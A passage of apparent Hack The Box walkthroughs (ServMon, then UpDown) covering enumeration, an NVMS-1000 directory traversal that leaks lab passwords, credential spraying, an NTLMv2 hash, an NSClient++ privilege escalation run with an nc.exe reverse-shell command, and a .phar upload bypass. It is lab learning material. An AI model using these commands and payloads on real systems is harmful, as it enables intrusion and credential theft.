type=\u0026quot;text/javascript\u0026quot;\u0026gt; | window.location.href = \u0026quot;Pages/login.htm\u0026quot;; | \u0026lt;/script\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;/body\u0026gt; | \u0026lt;/html\u0026gt; | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6699/tcp open tcpwrapped 8443/tcp open ssl/https-alt |_ssl-date: TLS randomness does not represent time | http-title: NSClient++ |_Requested resource was /index.html | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port80-TCP:V=7.95%I=7%D=4/14%Time=69DE257A%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,\u0026quot;HTTP/1\\.1\\x20408\\x20Request\\x20Timeout\\r\\nContent-type:\\x20text/ht SF:ml\\r\\nContent-Length:\\x200\\r\\nConnection:\\x20close\\r\\nAuthInfo:\\x20\\r\\n SF:\\r\\n\u0026quot;)%r(GetRequest,1B4,\u0026quot;HTTP/1\\.1\\x20200\\x20OK\\r\\nContent-type:\\x20tex SF:t/html\\r\\nContent-Length:\\x20340\\r\\nConnection:\\x20close\\r\\nAuthInfo:\\x SF:20\\r\\n\\r\\n\\xef\\xbb\\xbf\u0026lt;!DOCTYPE\\x20html\\x20PUBLIC\\x20\\\u0026quot;-//W3C//DTD\\x20X SF:HTML\\x201\\.0\\x20Transitional//EN\\\u0026quot;\\x20\\\u0026quot;http://www\\.w3\\.org/TR/xhtml1/D SF:TD/xhtml1-transitional\\.dtd\\\u0026quot;\u0026gt;\\r\\n\\r\\n\u0026lt;html\\x20xmlns=\\\u0026quot;http://www\\.w3\\. SF:org/1999/xhtml\\\u0026quot;\u0026gt;\\r\\n\u0026lt;head\u0026gt;\\r\\n\\x20\\x20\\x20\\x20\u0026lt;title\u0026gt;\u0026lt;/title\u0026gt;\\r\\n\\x20\\ SF:x20\\x20\\x20\u0026lt;script\\x20type=\\\u0026quot;text/javascript\\\u0026quot;\u0026gt;\\r\\n\\x20\\x20\\x20\\x20\\x20 SF:\\x20\\x20\\x20window\\.location\\.href\\x20=\\x20\\\u0026quot;Pages/login\\.htm\\\u0026quot;;\\r\\n\\x2 SF:0\\x20\\x20\\x20\u0026lt;/script\u0026gt;\\r\\n\u0026lt;/head\u0026gt;\\r\\n\u0026lt;body\u0026gt;\\r\\n\u0026lt;/body\u0026gt;\\r\\n\u0026lt;/html\u0026gt;\\r\\n\u0026quot;) SF:%r(HTTPOptions,1B4,\u0026quot;HTTP/1\\.1\\x20200\\x20OK\\r\\nContent-type:\\x20text/htm SF:l\\r\\nContent-Length:\\x20340\\r\\nConnection:\\x20close\\r\\nAuthInfo:\\x20\\r\\ SF:n\\r\\n\\xef\\xbb\\xbf\u0026lt;!DOCTYPE\\x20html\\x20PUBLIC\\x20\\\u0026quot;-//W3C//DTD\\x20XHTML\\ SF:x201\\.0\\x20Transitional//EN\\\u0026quot;\\x20\\\u0026quot;http://www\\.w3\\.org/TR/xhtml1/DTD/xh SF:tml1-transitional\\.dtd\\\u0026quot;\u0026gt;\\r\\n\\r\\n\u0026lt;html\\x20xmlns=\\\u0026quot;http://www\\.w3\\.org/1 SF:999/xhtml\\\u0026quot;\u0026gt;\\r\\n\u0026lt;head\u0026gt;\\r\\n\\x20\\x20\\x20\\x20\u0026lt;title\u0026gt;\u0026lt;/title\u0026gt;\\r\\n\\x20\\x20\\x SF:20\\x20\u0026lt;script\\x20type=\\\u0026quot;text/javascript\\\u0026quot;\u0026gt;\\r\\n\\x20\\x20\\x20\\x20\\x20\\x20\\ SF:x20\\x20window\\.location\\.href\\x20=\\x20\\\u0026quot;Pages/login\\.htm\\\u0026quot;;\\r\\n\\x20\\x20 SF:\\x20\\x20\u0026lt;/script\u0026gt;\\r\\n\u0026lt;/head\u0026gt;\\r\\n\u0026lt;body\u0026gt;\\r\\n\u0026lt;/body\u0026gt;\\r\\n\u0026lt;/html\u0026gt;\\r\\n\u0026quot;)%r(RT SF:SPRequest,1B4,\u0026quot;HTTP/1\\.1\\x20200\\x20OK\\r\\nContent-type:\\x20text/html\\r\\n SF:Content-Length:\\x20340\\r\\nConnection:\\x20close\\r\\nAuthInfo:\\x20\\r\\n\\r\\n SF:\\xef\\xbb\\xbf\u0026lt;!DOCTYPE\\x20html\\x20PUBLIC\\x20\\\u0026quot;-//W3C//DTD\\x20XHTML\\x201\\ SF:.0\\x20Transitional//EN\\\u0026quot;\\x20\\\u0026quot;http://www\\.w3\\.org/TR/xhtml1/DTD/xhtml1- SF:transitional\\.dtd\\\u0026quot;\u0026gt;\\r\\n\\r\\n\u0026lt;html\\x20xmlns=\\\u0026quot;http://www\\.w3\\.org/1999/x SF:html\\\u0026quot;\u0026gt;\\r\\n\u0026lt;head\u0026gt;\\r\\n\\x20\\x20\\x20\\x20\u0026lt;title\u0026gt;\u0026lt;/title\u0026gt;\\r\\n\\x20\\x20\\x20\\x2 SF:0\u0026lt;script\\x20type=\\\u0026quot;text/javascript\\\u0026quot;\u0026gt;\\r\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x SF:20window\\.location\\.href\\x20=\\x20\\\u0026quot;Pages/login\\.htm\\\u0026quot;;\\r\\n\\x20\\x20\\x20\\ SF:x20\u0026lt;/script\u0026gt;\\r\\n\u0026lt;/head\u0026gt;\\r\\n\u0026lt;body\u0026gt;\\r\\n\u0026lt;/body\u0026gt;\\r\\n\u0026lt;/html\u0026gt;\\r\\n\u0026quot;); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=4/14%Time=69DE2582%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,\u0026quot;HTTP/1\\.1\\x20302\\r\\nContent-Length:\\x200\\r\\nLocation SF::\\x20/index\\.html\\r\\n\\r\\n\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 SF:\\0\\0\\0\\0\\0\\0\\x12\\x02\\x18\\0\\x1aC\\n\\x07workers\\x12\\n\\n\\x04jobs\\x12\\x02\\x1 SF:8\\x1b\\x12\\x0f\u0026quot;)%r(HTTPOptions,36,\u0026quot;HTTP/1\\.1\\x20404\\r\\nContent-Length:\\x SF:2018\\r\\n\\r\\nDocument\\x20not\\x20found\u0026quot;)%r(FourOhFourRequest,36,\u0026quot;HTTP/1\\. SF:1\\x20404\\r\\nContent-Length:\\x2018\\r\\n\\r\\nDocument\\x20not\\x20found\u0026quot;)%r(R SF:TSPRequest,36,\u0026quot;HTTP/1\\.1\\x20404\\r\\nContent-Length:\\x2018\\r\\n\\r\\nDocumen SF:t\\x20not\\x20found\u0026quot;)%r(SIPOptions,36,\u0026quot;HTTP/1\\.1\\x20404\\r\\nContent-Length SF::\\x2018\\r\\n\\r\\nDocument\\x20not\\x20found\u0026quot;); No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/14%OT=21%CT=1%CU=35362%PV=Y%DS=2%DC=I%G=Y%TM=69DE25E OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=102%TI=I%CI=I%II=I%SS=S%TS= OS:U)SEQ(SP=102%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=104%GCD=1%ISR OS:=10F%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=105%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS OS:=S%TS=U)SEQ(SP=107%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M4E2NW8 OS:NNS%O2=M4E2NW8NNS%O3=M4E2NW8%O4=M4E2NW8NNS%O5=M4E2NW8NNS%O6=M4E2NNS)WIN( OS:W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF OS:%O=M4E2NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R OS:=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z% OS:A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N) OS:U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D OS:FI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2026-04-14T11:32:53 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 119.15 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-14 13:33 CEST Nmap scan report for 10.129.227.77 Host is up (0.029s latency). Not shown: 65518 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 6063/tcp open x11 6699/tcp open napster 8443/tcp open https-alt 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-14 13:33 CEST Nmap scan report for 10.129.227.77 Host is up (0.029s latency). Not shown: 993 closed udp ports (port-unreach) PORT STATE SERVICE 123/udp open|filtered ntp 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 500/udp open|filtered isakmp 4500/udp open|filtered nat-t-ike 5353/udp open|filtered zeroconf 5355/udp open|filtered llmnr OSINT \u0026amp; port 80 Briefly - Servmon is a service that monitors websites, servers, and sends alerts depending on how it\u0026rsquo;s setup. NVMS 1000 is a tool from Voltex Security Systems, from what I see them make like surveillance cameras and other tools.\nThe website looks like a monitoring dashboard for those surveillance tooling. Basic default credentials do not work. I ran ffuf to look for subdomains and other directories.\nffuf -u 'http://10.129.227.77/Pages/FUZZ.htm' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt and ffuf -u 'http://10.129.227.77/' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.10.129.227.77' -fs 340 should do an alright basic enumerator, however I feel like I need to enumerate directories better.\nI found no other subdomains and some directories:\nlogin [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 44ms] main [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 73ms] Login [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 40ms] Main [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 74ms] changePassword [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 46ms] MAIN [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 48ms] changepassword [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 74ms] ChangePassword [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 79ms] LogIn [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 41ms] %3FRID%3D2671 [Status: 200, Size: 118, Words: 3, Lines: 5, Duration: 38ms] LOGIN [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 36ms] login%3f [Status: 200, Size: 118, Words: 3, Lines: 5, Duration: 82ms] When I accessed that website I was automatically moved to http://10.129.227.77/Pages/login.htm which both takes me into \u0026ldquo;Pages\u0026rdquo; and assumes a \u0026ldquo;.htm\u0026rdquo; extension which isn\u0026rsquo;t something I see often. I can also google around and see what webserver behaves like that as Wappalyzer only find JQuery.\nI will enumerate other possible extensions with and look for other folders besides \u0026ldquo;Pages\u0026rdquo; with ffuf in a second, as there are a lot of other ports and I think I can find some low-hanging fruit before a full enumeration.\nThere is an anonymous FTP access. Inside I found a folder \u0026ldquo;Users\u0026rdquo; containing two users - Nadine and Nathan.\nIn Nathans file I found a \u0026ldquo;Confidential.txt\u0026rdquo; file containing this message from Nadine:\nNathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards Nadine% And as for Nadine, there was a to-do file containing:\n1) Change the password for NVMS - Complete 2) Upload the passwords 3) Remove public access to NVMS 4) Place the secret files in SharePoint% In this context \u0026ldquo;NVMS\u0026rdquo; likely means a network video management system which is a program used to manage CCTV/IP cameras.\nNSClient likely refers to NSClient++, a Windows agent used with Nagios for monitoring.\nNagios is a monitoring tool used to track servers, services, and network devices. Nagios is very similar to servmon so I wonder if I will see both tools or maybe some hybrid. Also, I wonder if there will be some CCTV footage - let\u0026rsquo;s dig and find out.\nSMB null session is disabled, I tried basic creds for the known users and didn\u0026rsquo;t manage to get in.\nOn port 8443 there is NSClient++ dashboard opened when access with HTTPS. When I accessed it I got a white page implying that I can\u0026rsquo;t see its content without some authentication. After I refreshed it a couple of times I got a login screen which I didn\u0026rsquo;t see before.\nI found this info about passwords.\nThe NSClient++ password can be found by running: nscp web -- password --display or you can sett a new password: nscp web -- password --set new-password Looking at the information i gathered I should likely aim for Nathans Desktop, but I\u0026rsquo;m not sure how can I get there right now. Maybe with SMB if his desktop is the share, but without BFing and a bit of luck this doesn\u0026rsquo;t seem plausible.\nI can\u0026rsquo;t brute rid with smb, likely the guest account is disabled.\nI ran hydra 10.129.28.144 -s 8443 -S -L users -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt http-get \u0026quot;/auth/token?password=^PASS^:F=403 Your not allowed\u0026quot; on the HTTPS port just so I have some scans running in the background.\nThe other directories I found don\u0026rsquo;t give much assistance, but some of them seem unfinished or not working correctly.\nI also started to BF extensions with ffuf -u http://10.129.28.144/Pages/loginFUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/web-extensions-big.txt and look for other directories than \u0026ldquo;Pages\u0026rdquo; with ffuf -u 'http://10.129.28.144/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 118.\nHydra didn\u0026rsquo;t find any common passwords.\nOther root directories:\n%3FRID%3D2671 [Status: 200, Size: 340, Words: 32, Lines: 13, Duration: 51ms] Weird thing about this directory is that when I use it, it constantly refreshes and copies it\u0026rsquo;s subdirectory in the url in each iteration. Decoded means \u0026ldquo;?RID=2671\u0026rdquo; which is interesting.\nI didn\u0026rsquo;t find any other extensions.\nI just notices that there is LLMNR running on the host and no DNS. I will keep responder running in the background.\nI tested basic SSTI and SQL injections on the authentications. One thing to check would be sqlmap but I don\u0026rsquo;t feel like this is the right way.\nFoothold Searchsploit found some public exploits for nvms-1000\nNVMS 1000 - Directory Traversal | hardware/webapps/47774.txt OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification | multiple/local/21856.txt OpenVms 8.3 Finger Service - Stack Buffer Overflow | multiple/dos/32193.txt TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py Yup, I found a nifty exploit on github for unwanted directory traversal. I read how it works, run it and found some creds!\nazaeir@parrot (~/Desktop/htb/machines/servmon/NVMS1000-Exploit): python3 nvms.py 10.129.28.144 /Users/Nathan/Desktop/Passwords.txt [+] DT Attack Succeeded [+] File Content ++++++++++ BEGIN ++++++++++ 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$ ++++++++++ END ++++++++++ I user users.txt file which holds both users - lower, and upper case versions - and run it through netexec against a list of passwords. There are two hits for nadine, against SMB and SSH with L1k3B1gBut7s@W0rk.\nNadine has read access to IPC$ but sadly I can\u0026rsquo;t view any content. I did manage to run a rid bruteforce - here are the results:\nSMB 10.129.28.144 445 SERVMON 500: SERVMON\\Administrator (SidTypeUser) SMB 10.129.28.144 445 SERVMON 501: SERVMON\\Guest (SidTypeUser) SMB 10.129.28.144 445 SERVMON 503: SERVMON\\DefaultAccount (SidTypeUser) SMB 10.129.28.144 445 SERVMON 504: SERVMON\\WDAGUtilityAccount (SidTypeUser) SMB 10.129.28.144 445 SERVMON 513: SERVMON\\None (SidTypeGroup) SMB 10.129.28.144 445 SERVMON 1000: SERVMON\\Nathan (SidTypeUser) SMB 10.129.28.144 445 SERVMON 1001: SERVMON\\Nadine (SidTypeUser) There are no interesting, custom, unknown users. I counted that maybe there will be a user with RID 2671 but sadly that\u0026rsquo;s not the case.\nSSH access worked and I found a user flag on Nadine\u0026rsquo;s Desktop.\nIn the root of the filesystem there is a RecData which holds what looks like to be SQLite database files:\nRecordInfoDB.db3 RecordInfoDB.db3-journal I downloaded them with scp and enumerated with sqlite3 but they are empty. From the schema and general context it looks like a database which would hold surveillance videos or data.\nLooking further, in program files I found folders for both NSClient++ and NVMS1000. I looked through them and noted more interesting files, found some certificates with private keys as well/\nC:\\Program Files\\NSClient++\\security C:\\Program Files\\NSClient++\\scripts\\custom I noted that down and searched for any simpler priv-esc possibilities.\nI decided to run WinPEAS and look what it finds.\n+----------¦ Enumerating NTLM Settings LanmanCompatibilityLevel : (Send NTLMv2 response only - Win7+ default) NTLM Signing Settings ClientRequireSigning : False ClientNegotiateSigning : True ServerRequireSigning : False ServerNegotiateSigning : False LdapSigning : Negotiate signing (Negotiate signing) --- +----------¦ Enumerating Named Pipes Name CurrentUserPerms Sddl eventlog Everyone [Allow: WriteData/CreateFiles] O:LSG:LSD:P(A;;0x1201 9b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122) vgauth-service Everyone [Allow: WriteData/CreateFiles] O:BAG:SYD:P(A;;0x1201 9f;;;WD)(A;;FA;;;SY)(A;;FA;;;BA) --- Folder: C:\\Users\\Nadine\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup FolderPerms: Nadine [Allow: AllAccess] File: C:\\Users\\Nadine\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini (Unquoted and Space detected) - C:\\Users\\Nadine\\AppData\\Roaming\\M icrosoft\\Windows,C:\\Users\\Nadine\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini FilePerms: Nadine [Allow: AllAccess] Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\\system32\\shell32.dll,-21787 --- +----------¦ Enumerating Security Packages Credentials Version: NetNTLMv2 Hash: Nadine::SERVMON:1122334455667788:847f1545e73196bfcc29b0eccb1a34dc:0101000000000000b7fb082aaacddc01e27df20ae5988a5d000000000800300030000000000000000000000000200000123997709cfe96c3cf5a71ae9cae03f41156e02642aed9e3642bae814b91bb1d0a00100000000000000000000000000000000000090000000000000000000000 This is a summery of the most interesting finds:\nJudging by the NTLM settings, there is a possibility of a relay attack It found some named pipes, but nothing that screams direct priv-esc really There is a chance for persistence with the rights to the startup folder which is nice WinPEAS also found an NTLMv2 hash in packages credentials (in memory) Let\u0026rsquo;s try to crack that NTLMv2 hash - hashcat -m 5600 nadine.hash /usr/share/wordlists/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt Sadly, I didn\u0026rsquo;t manage crack it.\nPrivilege Escalation Learning from the foothold, I looked for any public exploits for both NVMS1000 and NSClient++ - seems like I found one for the latter.\nI need to verify the version to make sure.\nnadine@SERVMON C:\\Program Files\\NSClient++\u0026gt;.\\nscp.exe --version NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64 Yes, there is an exploit. Here\u0026rsquo;s a summery from the script itself:\n# NSClient++ is a monitoring agent that has the option to run external scripts. # This feature can allow an attacker, given they have credentials, the ability to execute # arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt # Default, this leads to privileged code execution. I roughly followed the instruction from git, here is what I did.\nGet the web administrator password nadine@SERVMON C:\\Program Files\\NSClient++\u0026gt;type nsclient.ini and it shows a password in the config - Web Admin password: ew2x6SsGTxjRwXOT Download the exploit from here Created a temp file in the root directory with mkdir temp and uploaded nc.exe with scp ~/Desktop/tools/nc.exe nadine@10.129.227.77:C:/temp/ Did local port forwarding with ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 Lunched a listener on the attack host with nc -lnvp 1337 Renamed the script from \u0026ldquo;48360.txt.txt\u0026rdquo; to \u0026ldquo;48360.py\u0026rdquo; with the mv command Run the script with this command python3 48360.py -t 127.0.0.1 -P 8443 -p \u0026quot;ew2x6SsGTxjRwXOT\u0026quot; -c \u0026quot;C:\\temp\\nc.exe 10.10.15.189 1337 -e cmd.exe\u0026quot; With these steps I managed to get a callback on my listener as NT SYSTEM and I found a root flag on admin\u0026rsquo;s desktop.\nI also created an issue for the author of this exploit to make the official instruction simpler to follow along.\nClosing Thoughts Servmon is a relatively simple machine. There are two public exploits that can be used to finish it and a Metasploit script for even less hustle. The level of complexity highly depends on your approach. Overall a good machine to try out.\nRegarding lessons learned, I again spent too much time looking for a ton of different possible ways to pivot and didn\u0026rsquo;t focus on the most obvious one. Detailed enumeration is very important but I should see until the end each vector before moving to another just for the time sake.\n","date":"16.04.2026","externalUrl":null,"permalink":"/posts/htb/servmon/","section":"Posts","summary":"Servmon is a relatively simple machine. There are two public exploits that can be used to finish it and a Metasploit script for even less hustle. The level of complexity highly depends on your approach. Overall a good machine to try out.","title":"ServMon","type":"posts"},{"content":"","date":"12.04.2026","externalUrl":null,"permalink":"/categories/cpts/","section":"Categories","summary":"","title":"CPTS","type":"categories"},{"content":" Enumeration nmap I start with a nmap scan which shows that the only ports opened are HTTP, SSH on TCP and DHCP on UDP. nmap scan results Nmap scan report for 10.129.227.227 Host is up (0.040s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA) | 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA) |_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Is my Website up ? |_http-server-header: Apache/2.4.41 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/9%OT=22%CT=1%CU=34949%PV=Y%DS=2%DC=I%G=Y%TM=69D81DCE OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=104%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%C OS:I=Z%II=I%TS=A)SEQ(SP=F4%GCD=1%ISR=F8%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F8%GCD=1 OS:%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2NN OS:T11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W3= OS:FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y% OS:Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40 OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q OS:=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IP OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:44 CEST Nmap scan report for 10.129.227.227 Host is up (0.028s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:45 CEST Nmap scan report for 10.129.227.227 Host is up (0.028s latency). Not shown: 999 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc Nmap done: 1 IP address (1 host up) scanned in 1011.77 seconds HTTP Looking at the website we can see that it\u0026rsquo;s conceptually a simple website that checks if another given website is up, or down. Looking around the mechanism normally and through burpsuite I can see that there is a lot of filtering around the input. The most bare down version of a query is \u0026ldquo;h://t\u0026rdquo; but any type of injection or inclusion are being caught by the system\u0026rsquo;s logic.\nNow I\u0026rsquo;ll set up a listener and see if the checker connects - it does. I now created a PHP shell and I\u0026rsquo;ll see if it executes it. Unfortunately it doesn\u0026rsquo;t.\nI scanned for different subdomains and directories with [[ffuf]] and I found \u0026ldquo;dev\u0026rdquo; for both of the scans. It however only shows a 403 - forbidden error.\nI started another directory enumeration with ffuf - this time inside /dev and it came I found a \u0026ldquo;.git\u0026rdquo; directory. I didn\u0026rsquo;t think of it as valuable at first, but after some digging and reading it can hold some nice data. I also found this tool named git-dumper which seems it could be useful exactly for that.\nGit code review I tested both manual enumeration and with git-dumper. The second one is in my opinion superior as the tool doesn\u0026rsquo;t only download and list files from /.git as I expected - it reconstructs the repo itself rebuilding the actual working directory from the git objects.\nFrom the \u0026ldquo;changelog.txt\u0026rdquo; I learn that there is an upload option on the website and a plan for a new admin panel. Checking the \u0026ldquo;checker.php\u0026rdquo; I found some interesting information about the logic of the website, especially these parts:\n# Check if extension is allowed. $ext = getExtension($file); if(preg_match(\u0026#34;/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i\u0026#34;,$ext)){ die(\u0026#34;Extension not allowed!\u0026#34;); } # Create directory to upload our file. $dir = \u0026#34;uploads/\u0026#34;.md5(time()).\u0026#34;/\u0026#34;; if(!is_dir($dir)){ mkdir($dir, 0770, true); } # File size must be less than 10kb. if ($_FILES[\u0026#39;file\u0026#39;][\u0026#39;size\u0026#39;] \u0026gt; 10000) { die(\u0026#34;File too large!\u0026#34;); } Key information:\nI know which extensions are not allowed I know the upload location and the naming convention of the uploaded file too I know that the file must be smaller than 10 kB. Now my task is to structure an attack path that will check all of these boxes. Firstly, one php related extension which can execute that I don\u0026rsquo;t see mentioned in the script is \u0026ldquo;.phar\u0026rdquo;. With a reverse shell named \u0026ldquo;shell.phar\u0026rdquo; I would need to access it under \u0026ldquo;http://siteisup.htb/uploads//shell.phar\u0026rdquo; - let\u0026rsquo;s see if I\u0026rsquo;m right.\nI create a shell file, the payload itself is from PentestMonkey. I started a python server where my shell resides with azaeir@parrot (~/Desktop/htb/machines/updown): python -m http.server 1338, I requested the shell from the siteisup.htb and got a confirmation that it was successful. This confirmation also contains a timestamp 10.129.227.227 - - [11/Apr/2026 16:51:45] \u0026quot;GET /shell.phar HTTP/1.1\u0026quot; 200 -. I quickly read that the PHP\u0026rsquo;s time() function uses epoch format. I could\u0026rsquo;ve ran the function myself, but I found a simple website that converts time dates into epoch. I take my output of \u0026ldquo;1765462305\u0026rdquo; and run it against a hash generator and get my hash - here is the process:\n11/Apr/2026 16:51:45 - Original 11/Apr/2026 14:51:45 - Converted to UTC 1775919105 - Converted into Epoch 696c4310b51bd75fc8591dca1f24e191 - Hashed with MD5 Sadly - even though it would be a cool technique - this doesn\u0026rsquo;t work. This could be because of the server using different time or the last function in the script which might automatically delete uploaded files to block this whole attack path.\nI decided to step back and carefully read through all the files and try to understand them.\nFoothold Setting up the header In the .htaccess there is a rule that blocks all traffic unless a request includes the \u0026ldquo;Special-Dev header set to \u0026ldquo;only4dev\u0026rdquo;, which then grants access via an environment flag. Let\u0026rsquo;s try to access both the normal and the dev. subdomain.\nI can\u0026rsquo;t seem to make it work with burpsuite, I get a time-out, but curl does work curl -H \u0026quot;Special-Dev: only4dev\u0026quot; http://dev.siteisup.htb. To make it work better I found this firefox add-on which made it persistent.\nPHP wrappers At this point I struggled a lot. I got access to the developer which allowed me this time to upload a file with URL addresses to check if they are up or down. I wasn\u0026rsquo;t able to upload any rev shells or webshell because of the extension limits I saw in the source code. When I accessed the admin page I noticed a \u0026ldquo;page\u0026rdquo; get parameter so I decided to look for some PHP filters and attempt LFI but 